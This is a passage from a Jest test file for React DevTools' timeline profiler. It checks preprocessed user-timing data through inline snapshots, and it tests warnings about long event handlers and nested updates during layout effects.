0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 1,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.009,\n                  \"type\": \"layout-effects\",\n                },\n              ],\n            },\n            \"componentMeasures\": [],\n            \"duration\": 0.011,\n            \"flamechart\": [],\n            \"internalModuleSourceToRanges\": Map {},\n            \"laneToLabelMap\": Map {\n              0 => \"Sync\",\n              1 => \"InputContinuousHydration\",\n              2 => \"InputContinuous\",\n              3 => \"DefaultHydration\",\n              4 => \"Default\",\n              5 => \"TransitionHydration\",\n              6 => \"Transition\",\n              7 => \"Transition\",\n              8 => \"Transition\",\n              9 => \"Transition\",\n              10 => \"Transition\",\n              11 => \"Transition\",\n              12 => \"Transition\",\n              13 => \"Transition\",\n              14 => \"Transition\",\n              15 => \"Transition\",\n              16 => \"Transition\",\n              17 => \"Transition\",\n              18 => \"Transition\",\n              19 => \"Transition\",\n              20 => \"Transition\",\n              21 => \"Transition\",\n              22 => \"Retry\",\n              23 => \"Retry\",\n              24 => \"Retry\",\n              25 => \"Retry\",\n              26 => \"Retry\",\n              27 => \"SelectiveHydration\",\n              28 => \"IdleHydration\",\n              29 => \"Idle\",\n              30 => \"Offscreen\",\n            },\n            \"laneToReactMeasureMap\": Map {\n              0 => [],\n              1 => [],\n              2 => [],\n              3 => [],\n              4 => [],\n              5 => [],\n              6 => [],\n              7 => [],\n              8 => [],\n              9 => [\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.005,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 1,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000001001\",\n                  \"timestamp\": 0.009,\n                  \"type\": \"layout-effects\",\n                },\n              ],\n              10 => [],\n              11 => [],\n              12 => [],\n              13 => [],\n              14 => [],\n              15 => [],\n              16 => [],\n              17 => [],\n              18 => [],\n              19 => [],\n              20 => [],\n              21 => [],\n              22 => [],\n              23 => [],\n              24 => [],\n              25 => [],\n              26 => [],\n              27 => [],\n              28 => [],\n              29 => [],\n              30 => [],\n            },\n            \"nativeEvents\": [],\n            \"networkMeasures\": [],\n            \"otherUserTimingMarks\": [],\n            \"reactVersion\": \"<filtered-version>\",\n            \"schedulingEvents\": [\n              {\n                \"lanes\": \"0b0000000000000000000000000001001\",\n                \"timestamp\": 0.005,\n                \"type\": \"schedule-render\",\n                \"warning\": null,\n              },\n            ],\n            \"snapshotHeight\": 0,\n            \"snapshots\": [],\n            \"startTime\": 1,\n            \"suspenseEvents\": [],\n            \"thrownErrors\": [],\n          }\n        `);\n      });\n\n      // @reactVersion <= 18.2\n      // @reactVersion >= 18.0\n      it('should process a sample legacy render sequence', async () => {\n        legacyRender(<div />);\n\n        const data = await preprocessData([\n          ...createBoilerplateEntries(),\n          ...createUserTimingData(registeredMarks),\n        ]);\n        expect(data).toMatchInlineSnapshot(`\n          {\n            \"batchUIDToMeasuresMap\": Map {\n              0 => [\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.01,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.008,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 1,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.014,\n                  \"type\": \"layout-effects\",\n                },\n              ],\n            },\n            \"componentMeasures\": [],\n            \"duration\": 0.016,\n            \"flamechart\": [],\n            \"internalModuleSourceToRanges\": Map {\n              undefined => [\n                [\n                  {\n                    \"columnNumber\": 0,\n                    \"functionName\": \"filtered\",\n                    \"lineNumber\": 0,\n                    \"source\": \"  at filtered (<anonymous>:0:0)\",\n                  },\n                  {\n                    \"columnNumber\": 1,\n                    \"functionName\": \"filtered\",\n                    \"lineNumber\": 1,\n                    \"source\": \"  at filtered (<anonymous>:1:1)\",\n                  },\n                ],\n              ],\n            },\n            \"laneToLabelMap\": Map {\n              0 => \"Sync\",\n              1 => \"InputContinuousHydration\",\n              2 => \"InputContinuous\",\n              3 => \"DefaultHydration\",\n              4 => \"Default\",\n              5 => \"TransitionHydration\",\n              6 => \"Transition\",\n              7 => \"Transition\",\n              8 => \"Transition\",\n              9 => \"Transition\",\n              10 => \"Transition\",\n              11 => \"Transition\",\n              12 => \"Transition\",\n              13 => \"Transition\",\n              14 => \"Transition\",\n              15 => \"Transition\",\n              16 => \"Transition\",\n              17 => \"Transition\",\n              18 => \"Transition\",\n              19 => \"Transition\",\n              20 => \"Transition\",\n              21 => \"Transition\",\n              22 => \"Retry\",\n              23 => \"Retry\",\n              24 => \"Retry\",\n              25 => \"Retry\",\n              26 => \"Retry\",\n              27 => \"SelectiveHydration\",\n              28 => \"IdleHydration\",\n              29 => \"Idle\",\n              30 => \"Offscreen\",\n            },\n            \"laneToReactMeasureMap\": Map {\n              0 => [\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.01,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.006,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.008,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 1,\n                  \"duration\": 0.001,\n                  \"lanes\": \"0b0000000000000000000000000000000\",\n                  \"timestamp\": 0.014,\n                  \"type\": \"layout-effects\",\n                },\n              ],\n              1 => [],\n              2 => [],\n              3 => [],\n              4 => [],\n              5 => [],\n              6 => [],\n              7 => [],\n              8 => [],\n              9 => [],\n              10 => [],\n              11 => [],\n              12 => [],\n              13 => [],\n              14 => [],\n              15 => [],\n              16 => [],\n              17 => [],\n              18 => [],\n              19 => [],\n              20 => [],\n              21 => [],\n              22 => [],\n              23 => [],\n              24 => [],\n              25 => [],\n              26 => [],\n              27 => [],\n              28 => [],\n              29 => [],\n              30 => [],\n            },\n            \"nativeEvents\": [],\n            \"networkMeasures\": [],\n            \"otherUserTimingMarks\": [],\n            \"reactVersion\": \"<filtered-version>\",\n            \"schedulingEvents\": [\n              {\n                \"lanes\": \"0b0000000000000000000000000000000\",\n                \"timestamp\": 0.005,\n                \"type\": \"schedule-render\",\n                \"warning\": null,\n              },\n            ],\n            \"snapshotHeight\": 0,\n            \"snapshots\": [],\n            \"startTime\": 4,\n            \"suspenseEvents\": [],\n            \"thrownErrors\": [],\n          }\n        `);\n      });\n\n      // @reactVersion >= 19.1\n      // @reactVersion < 19.2\n      it('should process a sample createRoot render sequence', async () => {\n        function App() {\n          const [didMount, setDidMount] = React.useState(false);\n          React.useEffect(() => {\n            if (!didMount) {\n              setDidMount(true);\n            }\n          });\n          return true;\n        }\n\n        const root = ReactDOMClient.createRoot(document.createElement('div'));\n        utils.act(() => root.render(<App />));\n\n        const data = await preprocessData([\n          ...createBoilerplateEntries(),\n          ...createUserTimingData(registeredMarks),\n        ]);\n        expect(data).toMatchInlineSnapshot(`\n          {\n            \"batchUIDToMeasuresMap\": Map {\n              0 => [\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.012,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.008,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.012,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.004,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.021,\n                  \"type\": \"passive-effects\",\n                },\n              ],\n              1 => [\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.012,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.026,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.026,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.008,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.03,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.039,\n                  \"type\": \"passive-effects\",\n                },\n              ],\n            },\n            \"componentMeasures\": [\n              {\n                \"componentName\": \"App\",\n                \"duration\": 0.001,\n                \"timestamp\": 0.009,\n                \"type\": \"render\",\n                \"warning\": null,\n              },\n              {\n                \"componentName\": \"App\",\n                \"duration\": 0.002,\n                \"timestamp\": 0.022,\n                \"type\": \"passive-effect-mount\",\n                \"warning\": null,\n              },\n              {\n                \"componentName\": \"App\",\n                \"duration\": 0.001,\n                \"timestamp\": 0.027,\n                \"type\": \"render\",\n                \"warning\": null,\n              },\n              {\n                \"componentName\": \"App\",\n                \"duration\": 0.001,\n                \"timestamp\": 0.04,\n                \"type\": \"passive-effect-mount\",\n                \"warning\": null,\n              },\n            ],\n            \"duration\": 0.042,\n            \"flamechart\": [],\n            \"internalModuleSourceToRanges\": Map {\n              undefined => [\n                [\n                  {\n                    \"columnNumber\": 0,\n                    \"functionName\": \"filtered\",\n                    \"lineNumber\": 0,\n                    \"source\": \"  at filtered (<anonymous>:0:0)\",\n                  },\n                  {\n                    \"columnNumber\": 1,\n                    \"functionName\": \"filtered\",\n                    \"lineNumber\": 1,\n                    \"source\": \"  at filtered (<anonymous>:1:1)\",\n                  },\n                ],\n              ],\n            },\n            \"laneToLabelMap\": Map {\n              0 => \"Sync\",\n              1 => \"InputContinuousHydration\",\n              2 => \"InputContinuous\",\n              3 => \"DefaultHydration\",\n              4 => \"Default\",\n              5 => \"TransitionHydration\",\n              6 => \"Transition\",\n              7 => \"Transition\",\n              8 => \"Transition\",\n              9 => \"Transition\",\n              10 => \"Transition\",\n              11 => \"Transition\",\n              12 => \"Transition\",\n              13 => \"Transition\",\n              14 => \"Transition\",\n              15 => \"Transition\",\n              16 => \"Transition\",\n              17 => \"Transition\",\n              18 => \"Transition\",\n              19 => \"Transition\",\n              20 => \"Transition\",\n              21 => \"Transition\",\n              22 => \"Retry\",\n              23 => \"Retry\",\n              24 => \"Retry\",\n              25 => \"Retry\",\n              26 => \"Retry\",\n              27 => \"SelectiveHydration\",\n              28 => \"IdleHydration\",\n              29 => \"Idle\",\n              30 => \"Offscreen\",\n            },\n            \"laneToReactMeasureMap\": Map {\n              0 => [],\n              1 => [],\n              2 => [],\n              3 => [],\n              4 => [],\n              5 => [\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.012,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.008,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.008,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.012,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 0,\n                  \"depth\": 0,\n                  \"duration\": 0.004,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.021,\n                  \"type\": \"passive-effects\",\n                },\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.012,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.026,\n                  \"type\": \"render-idle\",\n                },\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.026,\n                  \"type\": \"render\",\n                },\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.008,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.03,\n                  \"type\": \"commit\",\n                },\n                {\n                  \"batchUID\": 1,\n                  \"depth\": 0,\n                  \"duration\": 0.003,\n                  \"lanes\": \"0b0000000000000000000000000000101\",\n                  \"timestamp\": 0.039,\n                  \"type\": \"passive-effects\",\n                },\n              ],\n              6 => [],\n              7 => [],\n              8 => [],\n              9 => [],\n              10 => [],\n              11 => [],\n              12 => [],\n              13 => [],\n              14 => [],\n              15 => [],\n              16 => [],\n              17 => [],\n              18 => [],\n              19 => [],\n              20 => [],\n              21 => [],\n              22 => [],\n              23 => [],\n              24 => [],\n              25 => [],\n              26 => [],\n              27 => [],\n              28 => [],\n              29 => [],\n              30 => [],\n            },\n            \"nativeEvents\": [],\n            \"networkMeasures\": [],\n            \"otherUserTimingMarks\": [],\n            \"reactVersion\": \"<filtered-version>\",\n            \"schedulingEvents\": [\n              {\n                \"lanes\": \"0b0000000000000000000000000000101\",\n                \"timestamp\": 0.007,\n                \"type\": \"schedule-render\",\n                \"warning\": null,\n              },\n              {\n                \"componentName\": \"App\",\n                \"lanes\": \"0b0000000000000000000000000000101\",\n                \"timestamp\": 0.023,\n                \"type\": \"schedule-state-update\",\n                \"warning\": null,\n              },\n            ],\n            \"snapshotHeight\": 0,\n            \"snapshots\": [],\n            \"startTime\": 4,\n            \"suspenseEvents\": [],\n            \"thrownErrors\": [],\n          }\n        `);\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion <= 18.2\n      it('should error if events and measures are incomplete', async () => {\n        legacyRender(<div />);\n\n        const invalidMarks = registeredMarks.filter(\n          mark => !mark.includes('render-stop'),\n        );\n        const invalidUserTimingData = createUserTimingData(invalidMarks);\n\n        const error = jest.spyOn(console, 'error').mockImplementation(() => {});\n        preprocessData([\n          ...createBoilerplateEntries(),\n          ...invalidUserTimingData,\n        ]);\n        expect(error).toHaveBeenCalled();\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion <= 18.2\n      it('should error if work is completed without being started', async () => {\n        legacyRender(<div />);\n\n        const invalidMarks = registeredMarks.filter(\n          mark => !mark.includes('render-start'),\n        );\n        const invalidUserTimingData = createUserTimingData(invalidMarks);\n\n        const error = jest.spyOn(console, 'error').mockImplementation(() => {});\n        preprocessData([\n          ...createBoilerplateEntries(),\n          ...invalidUserTimingData,\n        ]);\n        expect(error).toHaveBeenCalled();\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should populate other user timing marks', async () => {\n        const userTimingData = createUserTimingData([]);\n        userTimingData.push(\n          createUserTimingEntry({\n            args: {},\n            cat: 'blink.user_timing',\n            id: '0xcdf75f7c',\n            name: 'VCWithoutImage: root',\n            ph: 'n',\n            scope: 'blink.user_timing',\n          }),\n        );\n        userTimingData.push(\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: '--a-mark-that-looks-like-one-of-ours',\n            ph: 'R',\n          }),\n        );\n        userTimingData.push(\n          createUserTimingEntry({\n            cat: 'blink.user_timing',\n            name: 'Some other mark',\n            ph: 'R',\n          }),\n        );\n\n        const data = await preprocessData([\n          ...createBoilerplateEntries(),\n          ...userTimingData,\n        ]);\n        expect(data.otherUserTimingMarks).toMatchInlineSnapshot(`\n                [\n                  {\n                    \"name\": \"VCWithoutImage: root\",\n                    \"timestamp\": 0.003,\n                  },\n                  {\n                    \"name\": \"--a-mark-that-looks-like-one-of-ours\",\n                    \"timestamp\": 0.004,\n                  },\n                  {\n                    \"name\": \"Some other mark\",\n                    \"timestamp\": 0.005,\n                  },\n                ]\n          `);\n      });\n\n      // @reactVersion >= 18.0\n      // @reactVersion < 19.2\n      it('should include a suspended resource \"displayName\" if one is set', async () => {\n        let promise = null;\n        let resolvedValue = null;\n        function readValue(value) {\n          if (React.use) {\n            if (promise === null) {\n              promise = Promise.resolve(true).then(() => {\n                return value;\n              });\n              promise.displayName = 'Testing displayName';\n            }\n            return React.use(promise);\n          }\n          if (resolvedValue !== null) {\n            return resolvedValue;\n          } else if (promise === null) {\n            promise = Promise.resolve(true).then(() => {\n              resolvedValue = value;\n            });\n            promise.displayName = 'Testing displayName';\n          }\n          throw promise;\n        }\n\n        function Component() {\n          const value = readValue(123);\n          return value;\n        }\n\n        const testMarks = [creactCpuProfilerSample()];\n\n        const root = ReactDOMClient.createRoot(document.createElement('div'));\n        await utils.actAsync(() =>\n          root.render(\n            <React.Suspense fallback=\"Loading...\">\n              <Component />\n            </React.Suspense>,\n          ),\n        );\n\n        testMarks.push(...createUserTimingData(registeredMarks));\n\n        let data;\n        await utils.actAsync(async () => {\n          data = await preprocessData(testMarks);\n        });\n        expect(data.suspenseEvents).toHaveLength(1);\n        expect(data.suspenseEvents[0].promiseName).toBe('Testing displayName');\n      });\n\n      describe('warnings', () => {\n        describe('long event handlers', () => {\n          // @reactVersion >= 18.0\n          // @reactVersion <= 18.2\n          it('should not warn when React scedules a (sync) update inside of a short event handler', async () => {\n            function App() {\n              return null;\n            }\n\n            const testMarks = [\n              creactCpuProfilerSample(),\n              ...createBoilerplateEntries(),\n              createNativeEventEntry('click', 5),\n            ];\n\n            eraseRegisteredMarks();\n            legacyRender(<App />);\n\n            testMarks.push(...createUserTimingData(registeredMarks));\n\n            const data = await preprocessData(testMarks);\n            const event = data.nativeEvents.find(({type}) => type === 'click');\n            expect(event.warning).toBe(null);\n          });\n\n          // @reactVersion >= 18.0\n          // @reactVersion <= 18.2\n          it('should not warn about long events if the cause was non-React JavaScript', async () => {\n            function App() {\n              return null;\n            }\n\n            const testMarks = [\n              creactCpuProfilerSample(),\n              ...createBoilerplateEntries(),\n              createNativeEventEntry('click', 25000),\n            ];\n\n            startTime += 2000;\n\n            eraseRegisteredMarks();\n            legacyRender(<App />);\n\n            testMarks.push(...createUserTimingData(registeredMarks));\n\n            const data = await preprocessData(testMarks);\n            const event = data.nativeEvents.find(({type}) => type === 'click');\n            expect(event.warning).toBe(null);\n          });\n\n          // @reactVersion >= 18.0\n          // @reactVersion <= 18.2\n          it('should warn when React scedules a long (sync) update inside of an event', async () => {\n            function App() {\n              return null;\n            }\n\n            const testMarks = [\n              creactCpuProfilerSample(),\n              ...createBoilerplateEntries(),\n              createNativeEventEntry('click', 25000),\n            ];\n\n            eraseRegisteredMarks();\n            legacyRender(<App />);\n\n            registeredMarks.forEach(markName => {\n              if (markName === '--render-stop') {\n                // Fake a long running render\n                startTime += 20000;\n              }\n\n              testMarks.push({\n                pid: ++pid,\n                tid: ++tid,\n                ts: ++startTime,\n                args: {data: {}},\n                cat: 'blink.user_timing',\n                name: markName,\n                ph: 'R',\n              });\n            });\n\n            const data = await preprocessData(testMarks);\n            const event = data.nativeEvents.find(({type}) => type === 'click');\n            expect(event.warning).toMatchInlineSnapshot(\n              `\"An event handler scheduled a big update with React. Consider using the Transition API to defer some of this work.\"`,\n            );\n          });\n\n          // @reactVersion >= 18.2\n          // @reactVersion < 19.2\n          it('should not warn when React finishes a previously long (async) update with a short (sync) update inside of an event', async () => {\n            function Yield({id, value}) {\n              Scheduler.log(`${id}:${value}`);\n              return null;\n            }\n\n            const testMarks = [\n              creactCpuProfilerSample(),\n              ...createBoilerplateEntries(),\n            ];\n\n            // Advance the clock by some arbitrary amount.\n            startTime += 50000;\n\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n\n            // Temporarily turn off the act environment, since we're intentionally using Scheduler instead.\n            global.IS_REACT_ACT_ENVIRONMENT = false;\n            React.startTransition(() => {\n              // Start rendering an async update (but don't finish).\n              root.render(\n                <>\n                  <Yield id=\"A\" value={1} />\n                  <Yield id=\"B\" value={1} />\n                </>,\n              );\n            });\n\n            await waitFor(['A:1']);\n\n            testMarks.push(...createUserTimingData(registeredMarks));\n            eraseRegisteredMarks();\n\n            // Advance the clock some more to make the pending React update seem long.\n            startTime += 20000;\n\n            // Fake a long \"click\" event in the middle\n            // and schedule a sync update that will also flush the previous work.\n            testMarks.push(createNativeEventEntry('click', 25000));\n            ReactDOM.flushSync(() => {\n              root.render(\n                <>\n                  <Yield id=\"A\" value={2} />\n                  <Yield id=\"B\" value={2} />\n                </>,\n              );\n            });\n\n            assertLog(['A:2', 'B:2']);\n\n            testMarks.push(...createUserTimingData(registeredMarks));\n\n            const data = await preprocessData(testMarks);\n            const event = data.nativeEvents.find(({type}) => type === 'click');\n            expect(event.warning).toBe(null);\n          });\n        });\n\n        describe('nested updates', () => {\n          // @reactVersion >= 18.2\n          // @reactVersion < 19.2\n          it('should not warn about short nested (state) updates during layout effects', async () => {\n            function Component() {\n              const [didMount, setDidMount] = React.useState(false);\n              Scheduler.log(`Component ${didMount ? 'update' : 'mount'}`);\n              React.useLayoutEffect(() => {\n                setDidMount(true);\n              }, []);\n              return didMount;\n            }\n\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() => {\n              root.render(<Component />);\n            });\n\n            assertLog(['Component mount', 'Component update']);\n\n            const data = await preprocessData([\n              ...createBoilerplateEntries(),\n              ...createUserTimingData(registeredMarks),\n            ]);\n\n            const event = data.schedulingEvents.find(\n              ({type}) => type === 'schedule-state-update',\n            );\n            expect(event.warning).toBe(null);\n          });\n\n          // @reactVersion >= 18.2\n          // @reactVersion < 19.2\n          it('should not warn about short (forced) updates during layout effects', async () => {\n            class Component extends React.Component {\n              _didMount: boolean = false;\n              componentDidMount() {\n                this._didMount = true;\n                this.forceUpdate();\n              }\n              render() {\n                Scheduler.log(\n                  `Component ${this._didMount ? 'update' : 'mount'}`,\n                );\n                return null;\n              }\n            }\n\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() => {\n              root.render(<Component />);\n            });\n\n            assertLog(['Component mount', 'Component update']);\n\n            const data = await preprocessData([\n              ...createBoilerplateEntries(),\n              ...createUserTimingData(registeredMarks),\n            ]);\n\n            const event = data.schedulingEvents.find(\n              ({type}) => type === 'schedule-force-update',\n            );\n            expect(event.warning).toBe(null);\n          });\n\n          // This is temporarily disabled because the warning doesn't work\n          // with useDeferredValue\n          // eslint-disable-next-line jest/no-disabled-tests\n          it.skip('should warn about long nested (state) updates during layout effects', async () => {\n            function Component() {\n              const [didMount, setDidMount] = React.useState(false);\n              Scheduler.log(`Component ${didMount ? 'update' : 'mount'}`);\n              // Fake a long render\n              startTime += 20000;\n              React.useLayoutEffect(() => {\n                setDidMount(true);\n              }, []);\n              return didMount;\n            }\n\n            const cpuProfilerSample = creactCpuProfilerSample();\n\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() => {\n              root.render(<Component />);\n            });\n\n            assertLog(['Component mount', 'Component update']);\n\n            const testMarks = [];\n            registeredMarks.forEach(markName => {\n              if (markName === '--component-render-start-Component') {\n                // Fake a long running render\n                startTime += 20000;\n              }\n\n              testMarks.push({\n                pid: ++pid,\n                tid: ++tid,\n                ts: ++startTime,\n                args: {data: {}},\n                cat: 'blink.user_timing',\n                name: markName,\n                ph: 'R',\n              });\n            });\n\n            const data = await preprocessData([\n              cpuProfilerSample,\n              ...createBoilerplateEntries(),\n              ...testMarks,\n            ]);\n\n            const event = data.schedulingEvents.find(\n              ({type}) => type === 'schedule-state-update',\n            );\n            expect(event.warning).toMatchInlineSnapshot(\n              `\"A big nested update was scheduled during layout. Nested updates require React to re-render synchronously before the browser can paint. Consider delaying this update by moving it to a passive effect (useEffect).\"`,\n            );\n          });\n\n          // This is temporarily disabled because the warning doesn't work\n          // with useDeferredValue\n          // eslint-disable-next-line jest/no-disabled-tests\n          it.skip('should warn about long nested (forced) updates during layout effects', async () => {\n            class Component extends React.Component {\n              _didMount: boolean = false;\n              componentDidMount() {\n                this._didMount = true;\n                this.forceUpdate();\n              }\n              render() {\n                Scheduler.log(\n                  `Component ${this._didMount ? 'update' : 'mount'}`,\n                );\n                return null;\n              }\n            }\n\n            const cpuProfilerSample = creactCpuProfilerSample();\n\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() => {\n              root.render(<Component />);\n            });\n\n            assertLog(['Component mount', 'Component update']);\n\n            const testMarks = [];\n            registeredMarks.forEach(markName => {\n              if (markName === '--component-render-start-Component') {\n                // Fake a long running render\n                startTime += 20000;\n              }\n\n              testMarks.push({\n                pid: ++pid,\n                tid: ++tid,\n                ts: ++startTime,\n                args: {data: {}},\n                cat: 'blink.user_timing',\n                name: markName,\n                ph: 'R',\n              });\n            });\n\n            const data = await preprocessData([\n              cpuProfilerSample,\n              ...createBoilerplateEntries(),\n              ...testMarks,\n            ]);\n\n            const event = data.schedulingEvents.find(\n              ({type}) => type === 'schedule-force-update',\n            );\n            expect(event.warning).toMatchInlineSnapshot(\n              `\"A big nested update was scheduled during layout. Nested updates require React to re-render synchronously before the browser can paint. Consider delaying this update by moving it to a passive effect (useEffect).\"`,\n            );\n          });\n\n          // @reactVersion >= 18.2\n          // @reactVersion < 19.2\n          it('should not warn about transition updates scheduled during commit phase', async () => {\n            function Component() {\n              const [value, setValue] = React.useState(0);\n              // eslint-disable-next-line no-unused-vars\n              const [isPending, startTransition] = React.useTransition();\n\n              Scheduler.log(`Component rendered with value ${value}`);\n\n              // Fake a long render\n              if (value !== 0) {\n                Scheduler.log('Long render');\n                startTime += 20000;\n              }\n\n              React.useLayoutEffect(() => {\n                startTransition(() => {\n                  setValue(1);\n                });\n              }, []);\n\n              return value;\n            }\n\n            const cpuProfilerSample = creactCpuProfilerSample();\n\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() => {\n              root.render(<Component />);\n            });\n\n            assertLog([\n              'Component rendered with value 0',\n              'Component rendered with value 0',\n              'Component rendered with value 1',\n              'Long render',\n            ]);\n\n            const testMarks = [];\n            registeredMarks.forEach(markName => {\n              if (markName === '--component-render-start-Component') {\n                // Fake a long running render\n                startTime += 20000;\n              }\n\n              testMarks.push({\n                pid: ++pid,\n                tid: ++tid,\n                ts: ++startTime,\n                args: {data: {}},\n                cat: 'blink.user_timing',\n                name: markName,\n                ph: 'R',\n              });\n            });\n\n            const data = await preprocessData([\n              cpuProfilerSample,\n              ...createBoilerplateEntries(),\n              ...testMarks,\n            ]);\n\n            data.schedulingEvents.forEach(event => {\n              expect(event.warning).toBeNull();\n            });\n          });\n\n          // This is temporarily disabled because the warning doesn't work\n          // with useDeferredValue\n          // eslint-disable-next-line jest/no-disabled-tests\n          it.skip('should not warn about deferred value updates scheduled during commit phase', async () => {\n            function Component() {\n              const [value, setValue] = React.useState(0);\n              const deferredValue = React.useDeferredValue(value);\n\n              Scheduler.log(\n                `Component rendered with value ${value} and deferredValue ${deferredValue}`,\n              );\n\n              // Fake a long render\n              if (deferredValue !== 0) {\n                Scheduler.log('Long render');\n                startTime += 20000;\n              }\n\n              React.useLayoutEffect(() => {\n                setValue(1);\n              }, []);\n\n              return value + deferredValue;\n            }\n\n            const cpuProfilerSample = creactCpuProfilerSample();\n\n            const root = ReactDOMClient.createRoot(\n              document.createElement('div'),\n            );\n            utils.act(() => {\n              root.render(<Component />);\n            });\n\n            assertLog([\n              'Component rendered with value 0 and deferredValue 0',\n              'Component rendered with value 1 and deferredValue 0',\n              'Component rendered with value 1 and deferredValue 1',\n              'Long render',\n            ]);\n\n            const testMarks = [];\n            registeredMarks.forEach(markName => {\n              if (markName === '--component-render-start-Component') {\n                // Fake a long running render\n                startTime += 20000;\n              }\n\n              testMarks.push({\n                pid: ++pid,\n                tid: ++tid,\n                ts: ++startTime,\n                args: {data: {}},\n                cat: 'blink.user_timing',\n                name: markName,\n                ph: 'R',\n              });\n            });\n\n            const data = await 